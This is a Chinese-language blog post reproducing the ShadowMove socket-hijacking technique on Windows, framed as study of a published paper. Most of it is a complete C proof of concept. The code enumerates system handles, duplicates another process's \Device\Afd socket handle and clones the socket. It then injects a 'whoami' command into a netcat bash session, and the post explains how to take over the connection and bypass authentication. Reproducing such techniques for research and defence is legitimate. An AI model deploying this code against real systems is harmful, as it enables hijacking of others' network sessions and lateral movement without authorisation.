ShadowMove复现与思考
简介
前段时间有几位老哥联名发了一篇论文，这篇论文描述了一种复制套接字劫持网络连接的技术，本文旨在于简单分析复现这种技术，如有错误欢迎指正。
作者给出的理论图如下，通过创建两个基于原套接字复制的套接字，定期挂起原套接字接收和响应特殊的数据包。
复现过程
尽管windows本身提供了WSADuplicateSocket函数，但是这个函数需要本地进程的socks句柄，而句柄只在本地进程才有意义，这篇文章的作者提出了一种从远程复制句柄技术的变体。
作者发现套接字的句柄等同于的名为\Device\Afd文件句柄，这个句柄可以直接视为socks使用(虽然就是同一个，但说还是这么说)，我们可以通过常规的句柄枚举技术从远程进程得到它，然后使用NtDuplicateObject函数将它复制到本地进程，本地进程再通过WSADuplicateSocket获取克隆套接字需要的参数，然后我们可以像使用自己的socket一样使用这个克隆过来的socket了。
在github有0xcpu师傅分享了一份ShadowMove的代码，这里我做了一点简化。
首先师傅获取了系统的所有句柄。
//获取系统内所有句柄
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
while (pNtQuerySystemInformation(SystemHandleInformation,
pSysHandleInfo,
SystemInformationLength,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
free(pSysHandleInfo);
SystemInformationLength = ReturnLength;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
}
获取句柄之后将所有句柄克隆到了当前进程(句柄只有在本地进程才有意义)，对这个句柄的类型做了一个判断。(这里我简单的做了一个优化，作者的源代码是判断所有句柄类型不等于0x28的句柄，其实所有\drivice\开头的文件句柄都是OB_TYPE_DEVICE, // 25,设备类型)。
for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
//句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
ntStatus = pNtDuplicateObject(hProcess,
(HANDLE)pSysHandleInfo->Handles[i].HandleValue,
GetCurrentProcess(),
&TargetHandle,
PROCESS_ALL_ACCESS,
FALSE,
DUPLICATE_SAME_ACCESS);
if (ntStatus == STATUS_SUCCESS) {
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
return TargetSocket;
}随后比较简单的通过NtQueryObject函数查询句柄描述对象的部分属性，我们知道windows系统是对象驱动的，而在三环描述对象的是句柄，我们可以通过句柄查询一下句柄所描述对象的属性，这里查询了对象的设备描述符。
//查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
while (pNtQueryObject(TargetHandle,
(OBJECT_INFORMATION_CLASS)ObjectNameInformation,
pObjNameInfo,
ObjectInformationLength,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
{
free(pObjNameInfo);
ObjectInformationLength = ReturnLength;
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
return TargetSocket;
}
}
//判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。最后这个师傅就直接开始复制套接字。
WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
//返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
if (WsaErr != 0) {
CloseHandle(TargetHandle);
free(pObjNameInfo);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
pObjNameInfo = NULL;
return TargetSocket;
} else {
//通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
WsaProtocolInfo.iSocketType,
WsaProtocolInfo.iProtocol,
&WsaProtocolInfo,
0,
WSA_FLAG_OVERLAPPED);
if (TargetSocket != INVALID_SOCKET) {
fwprintf(stdout, L"[OK] Socket was duplicated!\n");
CloseHandle(TargetHandle);
free(pObjNameInfo);
free(pSysHandleInfo);
pObjNameInfo = NULL;
pSysHandleInfo = NULL;
return TargetSocket;
}
}
}
}
CloseHandle(TargetHandle);
free(pObjNameInfo);
pObjNameInfo = NULL;
}
}
}完整代码
#pragma once
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <inttypes.h>
#include <assert.h>
#include <winternl.h>
#include <Tlhelp32.h>
#define SystemHandleInformation 0x10
#define ObjectNameInformation 1
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
ULONG UniqueProcessId;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _OBJECT_NAME_INFORMATION
{
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
typedef long (*NTDUPLICATEOBJECT)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, BOOLEAN, ULONG);
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS(*NTQUERYOBJECT)(
HANDLE Handle,
OBJECT_INFORMATION_CLASS ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
NTDUPLICATEOBJECT pNtDuplicateObject;
NTQUERYSYSTEMINFORMATION pNtQuerySystemInformation;
NTQUERYOBJECT pNtQueryObject;
#include "winsmsd.h"
BOOL Init(VOID)
{
WSADATA WsaData;
WSAStartup(MAKEWORD(2, 2), &WsaData);
pNtDuplicateObject = (NTDUPLICATEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDuplicateObject");
pNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
pNtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject");
if (pNtDuplicateObject && pNtQuerySystemInformation && pNtQueryObject) {
return TRUE;
}
else {
WSACleanup();
return FALSE;
}
}
BOOL IsTargetIPAndPort(HANDLE hSocket, PBYTE TargetIp, USHORT TargetPort)
{
INT ret;
SOCKADDR_IN SockAddr;
INT NameLen = sizeof(SOCKADDR_IN);
ret = getpeername((SOCKET)hSocket, (PSOCKADDR)&SockAddr, &NameLen);
if (ret != 0) {
fwprintf(stderr, L"Failed to retrieve address of peer: %d\n", ret);
return FALSE;
} else {
fwprintf(stdout, L"Address: %u.%u.%u.%u Port: %hu\n",
SockAddr.sin_addr.S_un.S_un_b.s_b1,
SockAddr.sin_addr.S_un.S_un_b.s_b2,
SockAddr.sin_addr.S_un.S_un_b.s_b3,
SockAddr.sin_addr.S_un.S_un_b.s_b4,
ntohs(SockAddr.sin_port));
if (memcmp((PVOID)&SockAddr.sin_addr.S_un.S_un_b, (PVOID)TargetIp, 4) == 0 &&
ntohs(SockAddr.sin_port) == TargetPort) {
return TRUE;
} else {
return FALSE;
}
}
}
SOCKET GetSocket(HANDLE hProcess, PBYTE pIpAddress, USHORT dwPort)
{
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = NULL;
POBJECT_NAME_INFORMATION pObjNameInfo = NULL;
ULONG SystemInformationLength = 0;
ULONG ObjectInformationLength = 0;
ULONG ReturnLength;
HANDLE TargetHandle = INVALID_HANDLE_VALUE;
SOCKET TargetSocket = INVALID_SOCKET;
NTSTATUS ntStatus;
PCWSTR pcwDeviceAfd = L"\\Device\\Afd";
INT WsaErr;
WSAPROTOCOL_INFOW WsaProtocolInfo = { 0 };
//获取系统内所有句柄
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
while (pNtQuerySystemInformation(SystemHandleInformation,
pSysHandleInfo,
SystemInformationLength,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
free(pSysHandleInfo);
SystemInformationLength = ReturnLength;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
}
for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{
//句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
ntStatus = pNtDuplicateObject(hProcess,
(HANDLE)pSysHandleInfo->Handles[i].HandleValue,
GetCurrentProcess(),
&TargetHandle,
PROCESS_ALL_ACCESS,
FALSE,
DUPLICATE_SAME_ACCESS);
if (ntStatus == STATUS_SUCCESS) {
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
return TargetSocket;
}
//查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
while (pNtQueryObject(TargetHandle,
(OBJECT_INFORMATION_CLASS)ObjectNameInformation,
pObjNameInfo,
ObjectInformationLength,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
{
free(pObjNameInfo);
ObjectInformationLength = ReturnLength;
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
return TargetSocket;
}
}
//判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。
WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
//返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
if (WsaErr != 0) {
CloseHandle(TargetHandle);
free(pObjNameInfo);
free(pSysHandleInfo);
pSysHandleInfo = NULL;
pObjNameInfo = NULL;
return TargetSocket;
} else {
//通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
WsaProtocolInfo.iSocketType,
WsaProtocolInfo.iProtocol,
&WsaProtocolInfo,
0,
WSA_FLAG_OVERLAPPED);
if (TargetSocket != INVALID_SOCKET) {
fwprintf(stdout, L"[OK] Socket was duplicated!\n");
CloseHandle(TargetHandle);
free(pObjNameInfo);
free(pSysHandleInfo);
pObjNameInfo = NULL;
pSysHandleInfo = NULL;
return TargetSocket;
}
}
}
}
CloseHandle(TargetHandle);
free(pObjNameInfo);
pObjNameInfo = NULL;
}
}
}
free(pSysHandleInfo);
return TargetSocket;
}
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
Sleep(3000);
char msg[] = "whoami";
send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
return 0;
}
int main(int argc, char** argv)
{
DWORD dwPid;
USHORT uPort;
BYTE IpAddress[4] = { 0 };
HANDLE hProc;
PCHAR pToken = NULL;
PCHAR Ptr;
SIZE_T i = 0;
Init();
dwPid = strtoul(argv[1], NULL, 10);
uPort = (USHORT)strtoul(argv[3], NULL, 10);
pToken = strtok_s(argv[2], ".", &Ptr);
while (pToken && i < 4) {
IpAddress[i] = (BYTE)strtoul(pToken, NULL, 10);
pToken = strtok_s(NULL, ".", &Ptr);
i++;
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof pe;
if (Process32First(hSnapshot, &pe))
{
do {
if (lstrcmpi(L"nc64.exe", pe.szExeFile) == 0)
{
CloseHandle(hSnapshot);
dwPid= pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwPid);
BYTE Buff[128] = { 0 };
SOCKET NewSocket = GetSocket(hProc, IpAddress, uPort);
HANDLE hTHread = CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
if (NewSocket != INVALID_SOCKET) {
while (recv(NewSocket, Buff, 128, MSG_PEEK) == -1);
printf("%s", Buff);
closesocket(NewSocket);
}
CloseHandle(hProc);
CloseHandle(hSnapshot);
WSACleanup();
return 0;
}
复现和思考
这种技术理论上只能应用于明文传输的协议，如Telnet、ftp，劫持连接后我们通常能直接掠过身份认证的过程，这里我们起一个nc的bash控制口做一个测试。
我们先在kali上起一个服务端，然后使用nc去连接。
之后运行我们的poc，由于套接字的处理是异步的，我们需要另起一个线程去发送命令，然后使用主线程接收。
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
Sleep(3000);
char msg[] = "whoami";
send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
return 0;
}
HANDLE hTHread = CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);可以看到主副socket都接收到了命令的结果，如果我们不想要主套接字接收到，我们可以直接挂起或者干掉它来接管这个网络连接。
LINKS
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